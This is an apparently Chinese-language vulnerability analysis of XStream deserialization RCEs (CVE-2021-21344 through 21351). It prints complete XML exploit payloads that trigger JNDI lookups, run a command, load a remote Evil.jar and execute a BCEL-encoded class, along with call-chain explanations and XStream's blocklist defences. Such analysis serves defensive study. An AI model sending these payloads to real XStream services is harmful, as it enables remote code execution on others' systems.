Xstream反序列化远程代码执行漏洞深入分析

0. 前言

Xstream是java中一个使用比较广泛的XML序列化组件，本文以近期Xstream爆出的几个高危RCE漏洞为案例，对Xstream进行分析，同时对POC的构成原理进行讲解

1. Xstream简介

XStream是一个简单的基于Java库，Java对象序列化到XML，反之亦然(即：可以轻易的将Java对象和xml文档相互转换)。

Xstream具有以下优点

使用方便 – XStream的API提供了一个高层次外观，以简化常用的用例。
无需创建映射 – XStream的API提供了默认的映射大部分对象序列化。
性能 – XStream快速和低内存占用，适合于大对象图或系统。
干净的XML – XStream创建一个干净和紧凑XML结果，这很容易阅读。
不需要修改对象 – XStream可序列化的内部字段，如私有和最终字段，支持非公有制和内部类。默认构造函数不是强制性的要求。
完整对象图支持 – XStream允许保持在对象模型中遇到的重复引用，并支持循环引用。
可自定义的转换策略 – 定制策略可以允许特定类型的定制被表示为XML的注册。
安全框架 – XStream提供了一个公平控制有关解组的类型，以防止操纵输入安全问题。
错误消息 – 出现异常是由于格式不正确的XML时，XStream抛出一个统一的例外，提供了详细的诊断，以解决这个问题。
另一种输出格式 – XStream支持其它的输出格式，如JSON。

下面通过一个小案例来演示Xstream如何将java对象序列化成xml数据

首先是两个简单的pojo类，都实现了Serializable接口并且重写了readObject方法

import java.io.IOException;
import java.io.Serializable;

public class People implements Serializable{
  private String name;
  private int age;
  private Company workCompany;

  public People(String name, int age, Company workCompany) {
      this.name = name;
      this.age = age;
      this.workCompany = workCompany;
  }

  public String getName() {
      return name;
  }

  public void setName(String name) {
      this.name = name;
  }

  public int getAge() {
      return age;
  }

  public void setAge(int age) {
      this.age = age;
  }

  public Company getWorkCompany() {
      return workCompany;
  }

  public void setWorkCompany(Company workCompany) {
      this.workCompany = workCompany;
  }

  private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
      s.defaultReadObject();
      System.out.println("Read People");
  }
}

public class Company implements Serializable {
  private String companyName;
  private String companyLocation;

  public Company(String companyName, String companyLocation) {
      this.companyName = companyName;
      this.companyLocation = companyLocation;
  }

  public String getCompanyName() {
      return companyName;
  }

  public void setCompanyName(String companyName) {
      this.companyName = companyName;
  }

  public String getCompanyLocation() {
      return companyLocation;
  }

  public void setCompanyLocation(String companyLocation) {
      this.companyLocation = companyLocation;
  }

  private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
      s.defaultReadObject();
      System.out.println("Company");
  }
}

然后生成一个People对象，并使用Xstream对其进行序列化

XStream xStream = new XStream();
People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
String xml = xStream.toXML(people);
System.out.println(xml);

最后的执行结果如下

<com.XstreamTest.People serialization="custom">
<com.XstreamTest.People>
  <default>
    <age>25</age>
    <name>xiaoming</name>
    <workCompany serialization="custom">
      <com.XstreamTest.Company>
        <default>
          <companyLocation>BeiJing</companyLocation>
          <companyName>TopSec</companyName>
        </default>
      </com.XstreamTest.Company>
    </workCompany>
  </default>
</com.XstreamTest.People>
</com.XstreamTest.People>

如果两个pojo类没有实现Serializable接口则序列化后的数据是以下这个样子

<com.XstreamTest.People>
<name>xiaoming</name>
<age>25</age>
<workCompany>
  <companyName>TopSec</companyName>
  <companyLocation>BeiJing</companyLocation>
</workCompany>
</com.XstreamTest.People>

看到这里，有些同学可能就意识到了，Xstream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时，方法是不一样的。

在TreeUnmarshaller类的convertAnother方法处下断点，如下图所示

这里会获取一个converter，中文直译为转换器，Xstream的思路是通过不同的converter来处理序列化数据中不同类型的数据，我们跟进该方法看看在处理最外层的没有实现Serializable接口的People类时用的是哪种converter

从执行的结果中可以看到最终返回一个ReflectionConverter，当然不同的类型在这里会返回不同的Converter，这里仅仅只是处理我们自定义的未实现Serializable接口的People类时使用ReflectionConverter，该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值，那如过是处理实现了Serializable接口并且重写了readObject方法的People类时会有什么不一样呢？

更换序列化后的数据，在同样的位置打上断点，会发现这里处理People的Converter由ReflectionConverter变成了，SerializableConverter。

这是我们尝试在People类的readObject类处打上断点

会发现执行过程中居然调用了我们重写的readObject方法，此时的调用链如下

既然会调用readObject方法的话，那此时我们的思路应该就很清晰了，只需要找到一条利用链，就可以尝试进行反序列化攻击了

2. CVE-2021-21344

下面是漏洞相关POC

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
  <default>
    <size>2</size>
    <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
      <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
        <packet>
          <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
            <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
              <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                  <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                    <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
                    <uriProperties/>
                    <attributeProperties/>
                    <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                      <getter>
                        <class>com.sun.rowset.JdbcRowSetImpl</class>
                        <name>getDatabaseMetaData</name>
                        <parameter-types/>
                      </getter>
                    </inheritedAttWildcard>
                  </bi>
                  <tagName/>
                  <context>
                    <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                      <outer-class reference='../..'/>
                    </marshallerPool>
                    <nameList>
                      <nsUriCannotBeDefaulted>
                        <boolean>true</boolean>
                      </nsUriCannotBeDefaulted>
                      <namespaceURIs>
                        <string>1</string>
                      </namespaceURIs>
                      <localNames>
                        <string>UTF-8</string>
                      </localNames>
                    </nameList>
                  </context>
                </bridge>
              </bridge>
              <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                <javax.sql.rowset.BaseRowSet>
                  <default>
                    <concurrency>1008</concurrency>
                    <escapeProcessing>true</escapeProcessing>
                    <fetchDir>1000</fetchDir>
                    <fetchSize>0</fetchSize>
                    <isolation>2</isolation>
                    <maxFieldSize>0</maxFieldSize>
                    <maxRows>0</maxRows>
                    <queryTimeout>0</queryTimeout>
                    <readOnly>true</readOnly>
                    <rowSetType>1004</rowSetType>
                    <showDeleted>false</showDeleted>
                    <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                    <params/>
                  </default>
                </javax.sql.rowset.BaseRowSet>
                <com.sun.rowset.JdbcRowSetImpl>
                  <default>
                    <iMatchColumns>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                    </iMatchColumns>
                    <strMatchColumns>
                      <string>foo</string>
                      <null/>
                      <null/>
                      <null/>
                      <null/>
                      <null/>
                      <null/>
                      <null/>
                      <null/>
                      <null/>
                    </strMatchColumns>
                  </default>
                </com.sun.rowset.JdbcRowSetImpl>
              </jaxbObject>
            </dataSource>
          </message>
          <satellites/>
          <invocationProperties/>
        </packet>
      </indexMap>
    </comparator>
  </default>
  <int>3</int>
  <string>javax.xml.ws.binding.attachments.inbound</string>
  <string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

不难看出最外层封装的类是PriorityQueue，PriorityQueue是实现了Serializable接口并且重写了readObject方法的这点从POC中PriorityQueue的标签上也看得出，结合我们之前对XStream的分析这次我们直接在PriorityQueued的readObject方法中打上断点。

研究过java反序列化的同学对PriorityQueue这个类肯定不会陌生，经典的CommonCollections利用链中有几个就用到了PriorityQueue，放一下此刻的调用链。

然后我们跟进heapify()方法，

经过一些调试来到了PriorityQueue类的siftDownUsingComparator方法中如下图所示。

这里调用了PriorityQueue类中存储在comparator属性中的对象的compare方法，这时我们回过头来再去看一下POC

我们可以很直观的从XStream序列化的数据中看到PriorityQueue类的comparator属性中存储的是一个sun.awt.datatransfer.DataTransferer$IndexOrderComparator类型的对象也就是说接下来会调用DataTransferer$IndexOrderComparator对象的compare方法。

剩下的过程就是一系列的嵌套调用，最终会执行到com.sun.rowset.JdbcRowSetImpl的getDatabaseMetaData中，并最终在JdbcRowSetImpl的connect方法中通过JNDI去lookup事先封装在JdbcRowSetImpl的dataSource中的恶意地址

最后贴一下调用栈

CVE-2021-21344分析至此完毕。

2. CVE-2021-21345

先粘贴一下cve-2021-21345的poc

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
  <default>
    <size>2</size>
    <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
      <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
        <packet>
          <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
            <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
              <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                  <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                    <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                    <uriProperties/>
                    <attributeProperties/>
                    <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                      <getter>
                        <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                        <name>verify</name>
                        <parameter-types/>
                      </getter>
                    </inheritedAttWildcard>
                  </bi>
                  <tagName/>
                  <context>
                    <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                      <outer-class reference='../..'/>
                    </marshallerPool>
                    <nameList>
                      <nsUriCannotBeDefaulted>
                        <boolean>true</boolean>
                      </nsUriCannotBeDefaulted>
                      <namespaceURIs>
                        <string>1</string>
                      </namespaceURIs>
                      <localNames>
                        <string>UTF-8</string>
                      </localNames>
                    </nameList>
                  </context>
                </bridge>
              </bridge>
              <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                <activationCmd>open /Applications/Calculator.app</activationCmd>
              </jaxbObject>
            </dataSource>
          </message>
          <satellites/>
          <invocationProperties/>
        </packet>
      </indexMap>
    </comparator>
  </default>
  <int>3</int>
  <string>javax.xml.ws.binding.attachments.inbound</string>
  <string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

可以看到21345的利用链较之21344的利用链来说变化不大，唯一的不同点在于执行代码的位置不再使用JdbcRowSetImpl去远程加载恶意类来到本地执行恶意代码，而是使用com.sun.corba.se.impl.activation.ServerTableEntry类直接在本地执行恶意代码，从利用的复杂度上来和21344做比较的话无疑是简单的不少，既然整个利用链中变化的只有这一处，那就单分析这个类就可以了，将断点直接打在ServerTableEntry类的verify方法上。

这里直接将activationCmd属性中的值作为参数调用Runtime.exec来进行执行，而activationCmd在序列化的数据中就已经被我们自定义了值。

由于调用栈和CVE-2021-21344基本一样所以就不再重复粘贴的，至此CVE-2021-21345分析完毕

3. CVE-2021-21347

首先先看下POC

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
  <default>
    <size>2</size>
    <comparator class='javafx.collections.ObservableList$1'/>
  </default>
  <int>3</int>
  <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <dataHandler>
      <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
        <contentType>text/plain</contentType>
        <is class='java.io.SequenceInputStream'>
          <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
            <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
              <names class='java.util.AbstractList$Itr'>
                <cursor>0</cursor>
                <lastRet>-1</lastRet>
                <expectedModCount>0</expectedModCount>
                <outer-class class='java.util.Arrays$ArrayList'>
                  <a class='string-array'>
                    <string>Evil</string>
                  </a>
                </outer-class>
              </names>
              <processorCL class='java.net.URLClassLoader'>
                <ucp class='sun.misc.URLClassPath'>
                  <urls serialization='custom'>
                    <unserializable-parents/>
                    <vector>
                      <default>
                        <capacityIncrement>0</capacityIncrement>
                        <elementCount>1</elementCount>
                        <elementData>
                          <url>http://127.0.0.1:80/Evil.jar</url>
                        </elementData>
                      </default>
                    </vector>
                  </urls>
                  <path>
                    <url>http://127.0.0.1:80/Evil.jar</url>
                  </path>
                  <loaders/>
                  <lmap/>
                </ucp>
                <package2certs class='concurrent-hash-map'/>
                <classes/>
                <defaultDomain>
                  <classloader class='java.net.URLClassLoader' reference='../..'/>
                  <principals/>
                  <hasAllPerm>false</hasAllPerm>
                  <staticPermissions>false</staticPermissions>
                  <key>
                    <outer-class reference='../..'/>
                  </key>
                </defaultDomain>
                <initialized>true</initialized>
                <pdcache/>
              </processorCL>
            </iterator>
            <type>KEYS</type>
          </e>
          <in class='java.io.ByteArrayInputStream'>
            <buf></buf>
            <pos>-2147483648</pos>
            <mark>0</mark>
            <count>0</count>
          </in>
        </is>
        <consumed>false</consumed>
      </dataSource>
      <transferFlavors/>
    </dataHandler>
    <dataLen>0</dataLen>
  </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
  <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

可以看到这个漏洞的利用链就和之前两个大不相同了，并且在分析该漏洞的时候也踩了一些坑，在这里也和大家详细说明一下

这里我先用jdk 1.8.20版本来复现这个漏洞，然而执行的时候却返回以下错误

一开始没太明白这里是出了什么问题先是跟着报错信息中提示的路径去看了一下，发现是在反序列化PriorityQueue的comparator属性的时候出现了问题。

经过一段跟踪调试，跟踪到类加载的地方发现根本找不到这个ObservableList$1的对象，从这个名字带有$1不难看出，这是一个匿名内部类对象，此时我们先去ObservableList这个类中去查看一下，然后发现ObservableList是一个接口类型，源码如下

public interface ObservableList<E> extends List<E>, Observable {

  public void addListener(ListChangeListener<? super E> listener);

  public void removeListener(ListChangeListener<? super E> listener);

  public boolean addAll(E... elements);

  public boolean setAll(E... elements);

  public boolean setAll(Collection<? extends E> col);

  public boolean removeAll(E... elements);

  public boolean retainAll(E... elements);


  public void remove(int from, int to);

  public default FilteredList<E> filtered(Predicate<E> predicate) {
      return new FilteredList<>(this, predicate);
  }

  public default SortedList<E> sorted(Comparator<E> comparator) {
      return new SortedList<>(this, comparator);
  }

  public default SortedList<E> sorted() {
      return sorted(null);
  }
}

发现根本就没有什么匿名内部类，此时分析陷入了僵局，然后经过该漏洞的作者threedr3am师傅的指导，尝试更换了下JDK的版本，将JDK版本更换为1.8.131版本后ObservableList的源码发生了变化。这里只粘贴关键的代码。

public default SortedList<E> sorted(Comparator<E> comparator) {
  return new SortedList<>(this, comparator);
}

/**
* Creates a {@link SortedList} wrapper of this list with the natural
* ordering.
* @return new {@code SortedList}
* @since JavaFX 8.0
*/
public default SortedList<E> sorted() {
  Comparator naturalOrder = new Comparator<E>() {

      @Override
      public int compare(E o1, E o2) {
          if (o1 == null && o2 == null) {
              return 0;
          }
          if (o1 == null) {
              return -1;
          }
          if (o2 == null) {
              return 1;
          }

          if (o1 instanceof Comparable) {
              return ((Comparable) o1).compareTo(o2);
          }

          return Collator.getInstance().compare(o1.toString(), o2.toString());
      }
  };
  return sorted(naturalOrder);
}

可以看到sorted()方法里面多了一个Comparator类型的匿名内部类对象，而这个就是我们反序列化是POC中的那个ObservableList$1，这里写一个简单的例子验证一下

该漏洞利用的时候对JDK的版本有一定的限制，

接下来开始继续分析，然后当我用JDK1.8.131再次运行的时候又爆了另一个错误

这里提示找不到 java.security.ProtectionDomain$Key.outer-class这个属性，然后经过一段让人头秃的调试后终于搞明白了其中缘由。

首先着重看一下出现问题的POC的位置

导致报错的就是这个outer-class标签，报错的原因是反序列化的时候找不到这个outer-class属性，我们来到对应的类也就是ProtectionDomain$Key这个类中查看一下

发现key是一个静态内部类。

接下来我们要搞明白，就XStream在什么情况下在序列化的数据中出现这个outer-class标签，这里进行一个简单的实验

class Foo {
  private String foocontent;
  private Bar bar;

  public String getFoocontent() {
      return foocontent;
  }

  public void setFoocontent(String foocontent) {
      this.foocontent = foocontent;
  }

  public Bar getBar() {
      return bar;
  }

  public void setBar(Bar bar) {
      this.bar = bar;
  }
  
  class Bar {
      private String blabla;

      public String getBlabla() {
          return blabla;
      }

      public void setBlabla(String blabla) {
          this.blabla = blabla;
      }

  }

}

这里有两个类，一个是Foo类，另一个Bar是一个成员内部类，这里Foo有一个属性bar用来存储一个Bar类型的数据。接下来我们实例化一下这个类，然后对其属性进行赋值，并用XStream对其进行序列化。

  public static void main(String[] args) {
      Foo foo = new Foo();
      Bar bar = foo.new Bar();
      bar.setBlabla("hello");
      foo.setBar(bar);
      XStream xstream = new XStream();
      String xml = xstream.toXML(foo);
      System.out.println(xml);
  }

查看执行结果

当引用了自己的成员内部类时，XStream就会通过outer-class来进行标识。在回过去看poc就可以理解这里表示的意思是Key作为一个成员内部类被ProtectionDomain引用，但是在jdk1.8.131中ProtectionDomain$Key是一个静态内部类呀，静态内部类XStream序列化的时候是不会通过<outer-class>标签进行标识的

介于之前菜的坑，我又将jdk版本更换到1.8.221版本此时再看ProtectionDomain$Key这个类，可以看到在1.8.221版本的jdk中，Key已经从静态内部来改成一个成员内部类了，此时在运行POC就不会报找不到outer-class的错误了。

当然既然在jdk1.8.131版本中Key时静态内部类，那我们也可以直接通过在POC中删除<outer-class>这个标签来避免这个报错。

不过虽然时不报错了，但是我们还是没搞清楚这个outer-class究竟为什么会有这条属性，这里引用一篇文章java非静态内部类中的属性this$0

接着用我们写的Demo中的Foo类和它的成员内部类Bar类来进行讲解，在Foo$Bar对象生成过后我打一个断点

这里有一个变量名为this$0的一个变量，仔细观察他的类型，发现是一个Foo类型的，也就是说他是Foo这个最外层的类对象，还记得学习java基础的时候在学习内部类的时候学过的一个知识点，就是内部类可以直接使用外部类的公有或私有变量，而外部类却不能直接使用内部类的变量，就是因为内部类会在编译时就加入一个外部类作为变量。

搞明白了这一点后我们就继续分析gadget

同样的PriorityQueue部分就不再重复讲解了，只贴一下调用链

我们从ObsevableList$1这个匿名内部类开始讲起，我们来看下这个匿名内部类的实现

这里 o1和o2是同一个Base64Data对象，目的调用Base64Data.toString方法，跟入查看toString方法详情

toString方法中调用了Base64Data.get方法，继续跟入，在get方法中调用了ByteArrayOutputStreamEx.readFrom()方法，而传入的参数则是一个SequenceInputStream对象。

这里先粘贴一下此时整个Base64Data对象的封装情况。

跟入ByteArrayOutputStreamEx.readFrom()方法，经过几次嵌套调用后，来到了SequenceInputStream.nextStream()方法中，这里的关键是调用了属性e，也就是POC中就封装进去的MultiUIDefaults$MultiUIDefaultsEnumerator对象的hasMoreElements()方法

继续跟进，就会看到调用了JavacProcessingEnvironment$NameProcessIterator.hasNext()方法

当跟入到hasNext()方法方法后可以看到该方法中的关键点在于，调用processorCL的loadClass方法

我们直接从POC中来查看processorCL就是封装进去的URLClassLoader对象，而var1就是封装入names属性中的Arrays$ArrayList对象中存储的字符串也就是恶意类的名字。

接下来的步骤就是通过URLClassloader去远程加载恶意类到本地然后执行静态代码块中的恶意代码从而导致RCE，这个过程就不进行深入赘述了，至此CVE-2021-21347漏洞分析完毕

4. CVE-2021-21350

粘贴一下POC

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
  <default>
    <size>2</size>
    <comparator class='javafx.collections.ObservableList$1'/>
  </default>
  <int>3</int>
  <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <dataHandler>
      <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
        <contentType>text/plain</contentType>
        <is class='java.io.SequenceInputStream'>
          <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
            <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
              <names class='java.util.AbstractList$Itr'>
                <cursor>0</cursor>
                <lastRet>-1</lastRet>
                <expectedModCount>0</expectedModCount>
                <outer-class class='java.util.Arrays$ArrayList'>
                  <a class='string-array'>
                    <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c20$Y$3d$85$c9$60$O$e5G$fcW$f0J0Qn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q$b1MwrN$cf$f9$be$b6$fb$fcz$ff$Ap$8a$aa$83$MJ$O$caX$cb$a2bp$dd$c6$86$8dM$86$cc$99$M$a5$3egH$d7$h$3d$G$ebR$3d$K$86UO$86$e2$s$Z$f5Et$cf$fb$B$v$rO$f9$3c$e8$f1H$g$fe$xZ$faI$c6T$c3kOd$d0bp$daS_$8c$b5Talc$8bxW$r$91$_$ae$a41$e7$8c$e9d$c8$t$dc$85$8d$ac$8dm$X$3b$d8$a5$d2j$y$c2$da1$afQ$D$3f$J$b8V$91$8b$3d$ecS$7d$Ta$u$98P3$e0$e1$a0$d9$e9$P$85$af$Z$ca3I$aa$e6ug$de$93$a1$f8g$bcKB$zG$d4$d6$Z$I$3d$t$95z$c3$fb$e7$a1$83$5bb$w$7c$86$c3$fa$c2nWG2$i$b4$W$D$b7$91$f2E$i$b7p$80$rzQ3$YM$ba$NR$c8$R$bb$md$84$xG$af$60oH$95$d2$_$b0$k$9eII$c11$3a$d2$f4$cd$c2$ow$9e$94eb$eeO$820$3fC$d0$$$fd$BZ$85Y$ae$f8$N$93$85$cf$5c$c7$B$A$A</string>
                  </a>
                </outer-class>
              </names>
              <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
                <parent class='sun.misc.Launcher$ExtClassLoader'>
                </parent>
                <package2certs class='hashtable'/>
                <classes defined-in='java.lang.ClassLoader'/>
                <defaultDomain>
                  <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
                  <principals/>
                  <hasAllPerm>false</hasAllPerm>
                  <staticPermissions>false</staticPermissions>
                  <key>
                    <outer-class reference='../..'/>
                  </key>
                </defaultDomain>
                <packages/>
                <nativeLibraries/>
                <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
                <defaultAssertionStatus>false</defaultAssertionStatus>
                <classes/>
                <ignored__packages>
                  <string>java.</string>
                  <string>javax.</string>
                  <string>sun.</string>
                </ignored__packages>
                <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
                  <__path>
                    <paths/>
                    <class__path>.</class__path>
                  </__path>
                  <__loadedClasses/>
                </repository>
                <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
              </processorCL>
            </iterator>
            <type>KEYS</type>
          </e>
          <in class='java.io.ByteArrayInputStream'>
            <buf></buf>
            <pos>0</pos>
            <mark>0</mark>
            <count>0</count>
          </in>
        </is>
        <consumed>false</consumed>
      </dataSource>
      <transferFlavors/>
    </dataHandler>
    <dataLen>0</dataLen>
  </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
  <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

该漏洞的整个利用链和CVE-2021-21345如出一辙，不同的地方在于，最后的加载恶意Class的Classloader不再使用URLClassloader去远程加载，而是采用了com.sun.org.apache.bcel.internal.util.ClassLoader，这里相信对FastJson有了解的同学应该不陌生，这里使用了BCEL的方式来进行恶意代码执行

但是整个利用链和CVE-2021-21347是一样的，所以这里也就不重复赘述了。

5. CVE-2021-21351

粘贴一下POC

<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
  <type>ysomap</type>
  <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
    <m__DTMXRTreeFrag>
      <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
        <m__size>-10086</m__size>
        <m__mgrDefault>
          <__overrideDefaultParser>false</__overrideDefaultParser>
          <m__incremental>false</m__incremental>
          <m__source__location>false</m__source__location>
          <m__dtms>
            <null/>
          </m__dtms>
          <m__defaultHandler/>
        </m__mgrDefault>
        <m__shouldStripWS>false</m__shouldStripWS>
        <m__indexing>false</m__indexing>
        <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
          <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
            <javax.sql.rowset.BaseRowSet>
              <default>
                <concurrency>1008</concurrency>
                <escapeProcessing>true</escapeProcessing>
                <fetchDir>1000</fetchDir>
                <fetchSize>0</fetchSize>
                <isolation>2</isolation>
                <maxFieldSize>0</maxFieldSize>
                <maxRows>0</maxRows>
                <queryTimeout>0</queryTimeout>
                <readOnly>true</readOnly>
                <rowSetType>1004</rowSetType>
                <showDeleted>false</showDeleted>
                <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                <listeners/>
                <params/>
              </default>
            </javax.sql.rowset.BaseRowSet>
            <com.sun.rowset.JdbcRowSetImpl>
              <default/>
            </com.sun.rowset.JdbcRowSetImpl>
          </fPullParserConfig>
          <fConfigSetInput>
            <class>com.sun.rowset.JdbcRowSetImpl</class>
            <name>setAutoCommit</name>
            <parameter-types>
              <class>boolean</class>
            </parameter-types>
          </fConfigSetInput>
          <fConfigParse reference='../fConfigSetInput'/>
          <fParseInProgress>false</fParseInProgress>
        </m__incrementalSAXSource>
        <m__walker>
          <nextIsRaw>false</nextIsRaw>
        </m__walker>
        <m__endDocumentOccured>false</m__endDocumentOccured>
        <m__idAttributes/>
        <m__textPendingStart>-1</m__textPendingStart>
        <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
        <m__pastFirstElement>false</m__pastFirstElement>
      </m__dtm>
      <m__dtmIdentity>1</m__dtmIdentity>
    </m__DTMXRTreeFrag>
    <m__dtmRoot>1</m__dtmRoot>
    <m__allowRelease>false</m__allowRelease>
  </value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
  <type>ysomap</type>
  <value class='com.sun.org.apache.xpath.internal.objects.XString'>
    <m__obj class='string'>test</m__obj>
  </value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

这次用到的gadget入口点为javax.naming.ldap.Rdn$RdnEntry，在使用该POC之前仍然有一个点是需要注意的，\ <__overrideDefaultParser>这个标签在低版本的jdk中是没有的，需要进行更换。

更换成以下标签。

接下来就用jdk1.8.20为例，来进行分析。首先在POC中我们可以直观的看到，有两个Rdn$RdnEntry的序列化数据，最外层的触发点是Rdn$RdnEntry.compareTo方法，该方法是对比两个Rdn$RdnEntry的value属性是否相同。

当前对象的value属性是一个Xstring对象，在POC中的这个位置。

所以跟进Xstring.equals方法，该方法中需要注意的是调用了obj2 也就是传入的XRTreeFrag.toString方法，跟进该方法

经过一次嵌套调用后，来到XRTreeFrag.str方法中这里调用了之前就封装在POC中的SAX2DTM对象，如下图所示

跟入SAX2DTM.getStringValue方法，经过两次嵌套调用后，来到了SAX2DTM.nextNode方法中，该方法中需要注意的是调用了m_incrementalSAXSource属性也就是POC中封装好的IncrementalSAXSource_Xerces对象的deliverMoreNodes方法。

继续向下执行，最终会执行到IncrementalSAXSource_Xerces.parseSome方法，该方法会通过反射调用JdbcRowSetImpl.setAutoCommit方法。

接下来的流程就还是JdbcRowSetImpl的老一套了，就不再深入说明了。至此CVE-2021-21351分析完毕

6. 总结

此次爆出的几个反序列化RCE漏洞，总结下漏洞的触发点分别为“java.util.PriorityQueue.compare()“、“javax.naming.ldap.Rdn$RdnEntry.compareTo()”、而Xstream的防护方法也是很直白是通过黑名单的形式来进行防护。

下面是1.4.15版本的黑名单

protected void setupSecurity() {
  if (securityMapper == null) {
      return;
  }

  addPermission(AnyTypePermission.ANY);
  denyTypes(new String[]{
      "java.beans.EventHandler", //
      "java.lang.ProcessBuilder", //
      "javax.imageio.ImageIO$ContainsFilter", //
      "jdk.nashorn.internal.objects.NativeString" });
  denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, JAVAX_CRYPTO, JAXWS_FILE_STREAM});
  allowTypeHierarchy(Exception.class);
  securityInitialized = false;
}

然后是1.4.16版本的黑名单

private static final String ANNOTATION_MAPPER_TYPE = "com.thoughtworks.xstream.mapper.AnnotationMapper";
  private static final Pattern IGNORE_ALL = Pattern.compile(".*");
  private static final Pattern GETTER_SETTER_REFLECTION = Pattern.compile(".*\\$GetterSetterReflection");
  private static final Pattern PRIVILEGED_GETTER = Pattern.compile(".*\\$PrivilegedGetter");
  private static final Pattern LAZY_ITERATORS = Pattern.compile(".*\\$LazyIterator");
  private static final Pattern JAXWS_ITERATORS = Pattern.compile(".*\\$ServiceNameIterator");
  private static final Pattern JAVAFX_OBSERVABLE_LIST__ = Pattern.compile("javafx\\.collections\\.ObservableList\\$.*");
  private static final Pattern JAVAX_CRYPTO = Pattern.compile("javax\\.crypto\\..*");
  private static final Pattern BCEL_CL = Pattern.compile(".*\\.bcel\\..*\\.util\\.ClassLoader");

......

protected void setupSecurity() {
  if (this.securityMapper != null) {
      this.addPermission(AnyTypePermission.ANY);
